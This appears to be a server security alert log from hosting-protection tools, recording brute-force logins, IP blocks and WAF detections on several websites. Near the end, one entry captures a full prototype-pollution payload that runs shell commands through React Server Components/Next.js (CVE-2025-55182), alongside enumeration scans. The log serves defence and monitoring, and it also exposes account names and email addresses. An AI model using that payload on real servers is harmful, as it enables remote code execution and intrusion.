103.108.92.94 - - [15/Jun/2026:21:38:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934789&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559505 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:38:37 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:38:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:38:44 dovecot_login authenticator failed for H=(SkC9JeS5) [141.98.10.175]:61366: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:39:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.169.25.34
country_id: 2363686
description:
[2026-06-15 21:39:36 +0000] info [webmaild] 196.169.25.34 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:39:38 dovecot_login authenticator failed for H=(gkqy0dcHP) [141.98.10.175]:62179: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.14
country_id: 2635167
description:
[2026-06-15 21:40:33 +0000] info [cpaneld] 5.230.133.14 NEW ifxmoxbf:iH_iQhtthQR6id7G address=5.230.133.14,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.255.113.177
country_id: 2750405
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-40.5.255.113.177||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:40:37 dovecot_login authenticator failed for H=(mfKnKrHkdK) [141.98.10.175]:54901: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:40:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.217.253.113
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:217.217.253.113||TA:217.217.253.113||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:41:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:41:28 dovecot_login authenticator failed for H=(fS4Lox) [141.98.10.175]:51282: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:42:21 dovecot_login authenticator failed for H=(HJKoVc) [141.98.10.175]:62440: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:42:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:42:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:43:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:43:42 dovecot_login authenticator failed for H=(HINx9TSmE) [141.98.10.175]:52008: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:44:35 dovecot_login authenticator failed for H=(lu5YML) [141.98.10.175]:57290: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:44:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:45:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 128.254.188.120
country_id: 3865483
description:
128.254.188.120 - - [15/Jun/2026:21:46:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593428&pdata=https%253A%252F%252Fwebmail.test.free.netmaster.tg%252F%253Flocale%253Dcs&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781559972 HTTP/2.0" 302 0 webmail.test.free.netmaster.tg "https://webmail.test.free.netmaster.tg/?locale=cs" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.254.188.120


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:45:33 dovecot_login authenticator failed for H=(hbVGto) [141.98.10.175]:61677: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.42.1.81
country_id: 1149361
domain: group-gci.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:43999.group-gci.com||ServerName:group-gci.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b797aebff2dc327a64e36ff22953cd5a411dbb9e||Title:0xe7c9fb63||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:46:24 dovecot_login authenticator failed for H=(FIAM6jf1) [141.98.10.175]:57763: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:47:10 H=([217.118.184.198]) [217.118.184.198]:5437 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:46:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:47:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:47:43 dovecot_login authenticator failed for H=(OYwkimhf) [141.98.10.175]:64185: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.107.125
country_id: 2017370
description:
[2026-06-15 21:48:00 +0000] info [cpaneld] 95.24.107.125 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.32.208.214
country_id: 2017370
description:
[2026-06-15 21:48:02 +0000] info [cpaneld] 212.32.208.214 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.113.216.95
country_id: 1562822
description:
[2026-06-15 21:47:58 +0000] info [cpaneld] 42.113.216.95 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.65.114
country_id: 3625428
description:
[2026-06-15 21:48:11 +0000] info [cpaneld] 138.185.65.114 - ciieeinternation "GET /login/?login_only=1&user=ciieeinternation&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternation (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.244.4
country_id: 3469034
description:
[2026-06-15 21:48:19 +0000] info [cpaneld] 187.84.244.4 - ciieeinternati "GET /login/?login_only=1&user=ciieeinternati&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternati (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.209.138.131
country_id: 1522867
description:
[2026-06-15 21:48:14 +0000] info [cpaneld] 67.209.138.131 - ciieeinternatio "GET /login/?login_only=1&user=ciieeinternatio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternatio (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-15 21:48:43 +0000] info [cpaneld] 173.211.89.232 NEW wcnyaruu:EKVthWmhKjOfKXEv address=173.211.89.232,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.182.88.219
country_id: 3865483
description:
[2026-06-15 21:48:50 +0000] info [cpaneld] 186.182.88.219 - ciieei "GET /login/?login_only=1&user=ciieei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieei (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:49:17 H=([217.118.184.198]) [217.118.184.198]:5437 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.72.78.167
country_id: 3469034
description:
[2026-06-15 21:48:26 +0000] info [cpaneld] 187.72.78.167 - ciieeinterna "GET /login/?login_only=1&user=ciieeinterna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinterna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.86.110.131
country_id: 3686110
description:
[2026-06-15 21:48:52 +0000] info [cpaneld] 186.86.110.131 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.37.162.104
country_id: 286963
description:
[2026-06-15 21:48:31 +0000] info [cpaneld] 5.37.162.104 - ciieeintern "GET /login/?login_only=1&user=ciieeintern&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeintern (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.83.104.44
country_id: 2245662
description:
[2026-06-15 21:48:33 +0000] info [cpaneld] 41.83.104.44 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.37.210.5
country_id: 3469034
description:
[2026-06-15 21:48:45 +0000] info [cpaneld] 191.37.210.5 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.120
country_id: 1880251
description:
47.128.121.120 - - [15/Jun/2026:21:48:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051162&pdata=https%253A%252F%252Ftogomedia24.tg%252F2020%252F06%252F10%252Ftogo-reprise-sous-conditions-du-transport-routier-interurbain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781560129 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2020/06/10/togo-reprise-sous-conditions-du-transport-routier-interurbain/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.120


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.73.22.125
country_id: 2017370
description:
[2026-06-15 21:49:02 +0000] info [cpaneld] 95.73.22.125 - ci "GET /login/?login_only=1&user=ci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.98.34.174
country_id: 2542007
description:
[2026-06-15 21:48:39 +0000] info [cpaneld] 102.98.34.174 - ciieeint "GET /login/?login_only=1&user=ciieeint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeint (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.180.94
country_id: 3686110
description:
[2026-06-15 21:48:57 +0000] info [cpaneld] 186.29.180.94 - ciie "GET /login/?login_only=1&user=ciie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciie (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:48:35 dovecot_login authenticator failed for H=(HEpH4G) [141.98.10.175]:54903: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.174.81
country_id: 2542007
description:
[2026-06-15 21:48:37 +0000] info [cpaneld] 196.117.174.81 - ciieeinte "GET /login/?login_only=1&user=ciieeinte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.181.60.93
country_id: 2635167
description:
[2026-06-15 21:48:22 +0000] info [cpaneld] 109.181.60.93 - ciieeinternat "GET /login/?login_only=1&user=ciieeinternat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternat (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:48:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.160.45.46
country_id: 2921044
description:
[2026-06-15 21:50:07 +0000] info [cpaneld] 84.160.45.46 - soc "GET /login/?login_only=1&user=soc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soc (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.118.184.198
country_id: 2017370
description:
2026-06-15 21:50:15 H=([217.118.184.198]) [217.118.184.198]:5397 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:49:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 21:49:26 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:11675: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.72.163.55
country_id: 290557
description:
[2026-06-15 21:49:49 +0000] info [cpaneld] 91.72.163.55 - sococim "GET /login/?login_only=1&user=sococim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.69.183.23
country_id: 290291
description:
[2026-06-15 21:50:05 +0000] info [cpaneld] 77.69.183.23 - soco "GET /login/?login_only=1&user=soco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user soco (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:49:27 dovecot_login authenticator failed for H=(TunNRo) [141.98.10.175]:62128: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.117.42.154
country_id: 2542007
description:
[2026-06-15 21:50:09 +0000] info [cpaneld] 196.117.42.154 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.44.170.122
country_id: 3865483
description:
[2026-06-15 21:50:01 +0000] info [cpaneld] 181.44.170.122 - sococ "GET /login/?login_only=1&user=sococ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sococ (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.5.32.151
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:50:43 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:50:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 15 21:50:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:50:45 dovecot_login authenticator failed for H=(5lZhgl) [141.98.10.175]:49374: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.222.128.55
country_id: 241170
domain: www.lasnb.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg/uploads/images/118.jpg HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:50:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:51:35 dovecot_login authenticator failed for H=(2n8Das9Zlo) [141.98.10.175]:65318: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:51:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.63.16.68
country_id: 732800
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:21-51.37.63.16.68||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:52:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.0.198.72
country_id: 102358
description:
[2026-06-15 21:52:52 +0000] info [cpaneld] 159.0.198.72 - ortouc "GET /login/?login_only=1&user=ortouc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ortouc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.71.137
country_id: 1512440
description:
[2026-06-15 21:52:39 +0000] info [cpaneld] 84.54.71.137 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:52:25 dovecot_login authenticator failed for H=(8bMCUm) [141.98.10.175]:51808: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:21:54:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711706&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781560447 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:53:43 dovecot_login authenticator failed for H=(RFTs6cG) [141.98.10.175]:51419: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:53:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:54:33 dovecot_login authenticator failed for H=(ybJroLDJdt) [141.98.10.175]:59249: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:54:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:55:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:55:29 dovecot_login authenticator failed for H=(ZymlG6XTD) [141.98.10.175]:56302: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 21:56:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.55.180.238
country_id: 3469034
description:
Jun 15 21:56:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.55.180.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:56:20 dovecot_login authenticator failed for H=(tJR2oACuo) [141.98.10.175]:54053: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77093094
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.17||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 21:57:41 dovecot_login authenticator failed for H=(7TMh8MXzc) [141.98.10.175]:61633: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 52.25.41.113
country_id: 6252001
domain: fbafrica.com
description:
